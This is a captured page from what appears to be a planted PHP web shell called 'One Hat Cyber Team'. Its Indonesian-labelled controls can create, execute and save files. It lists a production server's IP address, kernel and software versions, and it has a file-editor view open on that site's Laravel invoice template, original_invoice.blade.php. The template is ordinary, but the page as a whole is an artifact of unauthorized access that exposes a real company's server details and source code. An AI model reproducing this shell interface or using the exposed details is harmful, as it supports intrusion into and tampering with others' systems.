One Hat Cyber Team
Your IP :
3.139.103.152
Server IP :
104.21.32.1
Server :
Linux agrigation-prod 5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023 x86_64
Server Software :
nginx/1.24.0
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
forge
/
app.gftag.com
/
resources
/
views
/
sale
/
Edit File:
original_invoice.blade.php
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Invoice</title> <meta content="widtd=device-widtd, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" /> <style type="text/css" media="all"> .table-responsive{ border: 2px solid #333; } .particulars tr{ width:100%; } .particulars tr td{ border: 1px solid #333; margin:0; padding:0; font-size:13px; } .address_top{ display:flex; justify-content: space-between; } .text-center{ text-align:center; } </style> </head> <body> <div class="wrapper"> <section class="invoice"> <p style="font-size:1em; font-weight: bold;" class="text-center">{{!$sale->exclude_gst ? 'TAX INVOICE' : 'CHALLAN'}}</p> <div class="row"> <div class="col-xs-12"> @if($sale->organisation->logo) <img src="{{public_path($sale->organisation->logo)}}" width="100"/><br> @endif <table class="table table-responsive particulars" widtd="100%" border="1"> <tr> <td colspan="2" rowspan="2"> <p style="font-size:0.9em; font-weight: bold;">{{$sale->organisation->name}}</p> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">Address : {{$sale->organisation->address}}</p> <p style="font-size:0.8em; line-height: 15px; margin-bottom: 3px;">GST - {{$sale->organisation->gst_no}}</p> </td> <td colspan="3"><p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">Inv No. {{$sale->fpo_invoice_no ? $sale->fpo_invoice_no : $sale->invoice_number}}</p></td> <td colspan="{{!$sale->exclude_gst ? 3 : 2}}"><p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">Date : {{$sale->sale_date}}</p></td> </tr> <tr> <td colspan="3"><p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">Email : {{$sale->organisation->email}}</p></td> <td colspan="{{!$sale->exclude_gst ? 3 : 2}}"><p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">phone : {{$sale->organisation->phone}}</p></td> </tr> <tr> <td colspan="{{!$sale->exclude_gst ? ($sale->customer->shipping_address ? 4 : 8) : ($sale->customer->shipping_address ? 4 : 7)}}"> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;"><b>Billed To : </b> <br><br> {{strtoupper($sale->customer->name)}}</p> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">{{$sale->customer->address}} </p> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">Pin no : {{$sale->customer->pin_code}} </p> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">GST : {{$sale->customer->gst}} </p> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">Email : {{$sale->customer->email}} </p> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;">Phone : {{$sale->customer->phone}} </p> </td> @if($sale->customer->shipping_address) <td colspan="4"> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px;"><b>Shipped To : </b> <br><br></p> <p style="font-size:0.9em; line-height: 15px; margin-bottom: 3px; white-space:pre-wrap;">{{$sale->customer->shipping_address}} </p> </td> @endif </tr> @php $gst_label = ($sale->organisation->state_id == $sale->customer->state_id) ? 'SGST + CGST' : 'IGST'; @endphp <tr class="text"> <td style="width:10px; font-size:0.9em; line-height: 15px;">SL No</td> <td style="width:160px; font-size:0.9em; line-height: 15px;">Description of Goods</td> <td style="width:20px; font-size:0.9em; line-height: 15px;">HSN/SAC</td> <td style="width:25px; font-size:0.9em; line-height: 15px;">Unit Price</td> <td style="width:20px; font-size:0.9em; line-height: 15px;">Quantity</td> @if(!$sale->exclude_gst) <td style="width:35px; font-size:0.9em; line-height: 15px;">{{$gst_label}}</td> @endif <td style="width:15px; font-size:0.9em; line-height: 15px;">Per</td> <td style="width:25px; font-size:0.9em; line-height: 15px;">Amount</td> </tr> @php $grant_total = 0; $base_total = 0; $gst_total = 0; $total_discount = 0; $line_total = 0; @endphp @foreach($sale->saleItems as $key => $value) @php $sln = $key + 1; $qty = $value->quantity; $base_price = $qty * $value->price; $line_total = $line_total + $base_price; $gst = ($sale->organisation->state_id == $sale->customer->state_id) ? ($value->item->sgst_rate + $value->item->cgst_rate) : $value->item->igst_rate; $line_discount = (int) ($base_price * $sale->discount) / 100; $total_discount = $total_discount + $line_discount; $price_after_discount = $base_price - $line_discount; $gst_amount = round(($price_after_discount * $gst) / 100); $gst_total = $gst_total + $gst_amount; $base_total = $base_total + $price_after_discount; $grant_total = round($grant_total + $base_price); @endphp <tr> <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;">{{$sln}}</td> <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;"> {{ $value->item->name }} <br> {{ $value->item->description }} </td> <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;">{{$value->item->hsn_code}}</td> <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;">{{ $value->price }}</td> <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;">{{ $qty.' '.(isset($value['unit']) ? strtoupper($value['unit']) : 'PCS')}} </td> @if(!$sale->exclude_gst) <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;">{{$gst_amount}} ({{$gst}}%)</td> @endif <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;">{{isset($value['unit']) ? strtoupper($value['unit']) : 'PCS'}}</td> <td cellspacing="0" style="font-size:0.7em; line-height: 13px; padding: 4px;">{{ number_format($base_price , 2) }}</td> </tr> @endforeach <tr> <td colspan="{{!$sale->exclude_gst ? 7 : 6}}" style="font-size:0.9em; line-height: 15px; padding: 4px;"> <b>Total</b> </td> <td style="font-size:0.8em; line-height: 15px; padding: 4px;">{{number_format($line_total, 2)}}</td> </tr> @if($sale->discount > 0) <tr> <td colspan="{{!$sale->exclude_gst ? 7 : 6}}" style="font-size:0.9em; line-height: 15px; padding: 4px;"> <b>Discount</b> </td> <td style="font-size:0.8em; line-height: 15px; padding: 4px;">{{number_format($total_discount, 2)}}</td> </tr> <tr> <td colspan="{{!$sale->exclude_gst ? 7 : 6}}" style="font-size:0.9em; line-height: 15px; padding: 4px;"> <b>Total after discount</b> </td> <td style="font-size:0.8em; line-height: 15px; padding: 4px;">{{number_format($base_total, 2)}}</td> </tr> @endif @php $grant_total = (int) ($base_total + $gst_total); @endphp <tr> <td colspan="{{!$sale->exclude_gst ? 7 : 6}}" style="font-size:0.9em; line-height: 15px; padding: 4px;"> <b>Total GST</b> </td> <td style="font-size:0.8em; line-height: 15px; padding: 4px;">{{number_format($gst_total, 2)}}</td> </tr> <tr> <td colspan="{{!$sale->exclude_gst ? 7 : 6}}" style="font-size:0.9em; line-height: 15px; padding: 4px;"> <b>Grand Total</b> </td> <td style="font-size:0.8em; line-height: 15px; padding: 4px;">{{number_format($grant_total, 2)}}</td> </tr> <tr> <td colspan="{{!$sale->exclude_gst ? 8 : 7}}" style="font-size:0.9em; line-height: 15px; padding: 4px;"> @php $amount_words=getIndianCurrency($grant_total); @endphp Amount Chargeable (in words) : <span style="text-transform: capitalize;">{{$amount_words}}</span>. </td> </tr> <tr> <td colspan="3" style="text-align:left;"> <br><br> <!-- <p style="font-size:0.8em; line-height: 15px; margin-bottom: 3px;">REGD. OFFICE :- DR. KALINATH ROAD, NAYA BAZAR, SILIGURI,</p> --> <p style="font-size:0.8em; line-height: 15px; margin-bottom: 3px;"><b>Narration :</b> <br>{{$sale->comments}}</p> @if($sale->organisation->bank_details) <p style="font-size:0.8em; line-height: 15px; margin-bottom: 3px; white-space:pre-wrap;"><b>Bank Details :</b> <br>{{$sale->organisation->bank_details}}</p> @endif </td> <td colspan="{{!$sale->exclude_gst ? 5 : 4}}" class="text-center"> <p> for {{strtoupper($sale->organisation->name)}}<p> <span style="font-size:0.8em;">Authorized Signatory</span><br> @if($sale->organisation->signature) <img src="{{public_path($sale->organisation->signature)}}" width="200"/><br> @endif <b style="font-size:0.8em; text-align:center;">E. & O.E</b> </td> </tr> <tr> <td class="text-center" colspan="{{!$sale->exclude_gst ? 8 : 7}}" style="font-size:0.9em; line-height: 10px;"> This is an electronic generated invoice.</td> </tr> </table> </div> </div> </section> </div> </body> </html> <?php function getIndianCurrency($number) { $no = round($number); $point = round($number - $no, 2) * 100; $hundred = null; $digits_1 = strlen($no); $i = 0; $str = array(); $words = array('0' => '', '1' => 'one', '2' => 'two', '3' => 'three', '4' => 'four', '5' => 'five', '6' => 'six', '7' => 'seven', '8' => 'eight', '9' => 'nine', '10' => 'ten', '11' => 'eleven', '12' => 'twelve', '13' => 'thirteen', '14' => 'fourteen', '15' => 'fifteen', '16' => 'sixteen', '17' => 'seventeen', '18' => 'eighteen', '19' =>'nineteen', '20' => 'twenty', '30' => 'thirty', '40' => 'forty', '50' => 'fifty', '60' => 'sixty', '70' => 'seventy', '80' => 'eighty', '90' => 'ninety'); $digits = array('', 'hundred', 'thousand', 'lakh', 'crore'); while ($i < $digits_1) { $divider = ($i == 2) ? 10 : 100; $number = floor($no % $divider); $no = floor($no / $divider); $i += ($divider == 10) ? 1 : 2; if ($number) { $plural = (($counter = count($str)) && $number > 9) ? 's' : null; $hundred = ($counter == 1 && $str[0]) ? ' and ' : null; $str [] = ($number < 21) ? $words[$number] . " " . $digits[$counter] . $plural . " " . $hundred : $words[floor($number / 10) * 10] . " " . $words[$number % 10] . " " . $digits[$counter] . $plural . " " . $hundred; } else $str[] = null; } $str = array_reverse($str); $result = implode('', $str); $points = ($point) ? "." . $words[$point / 10] . " " . $words[$point = $point % 10] : ''; return $result; } ?>
Simpan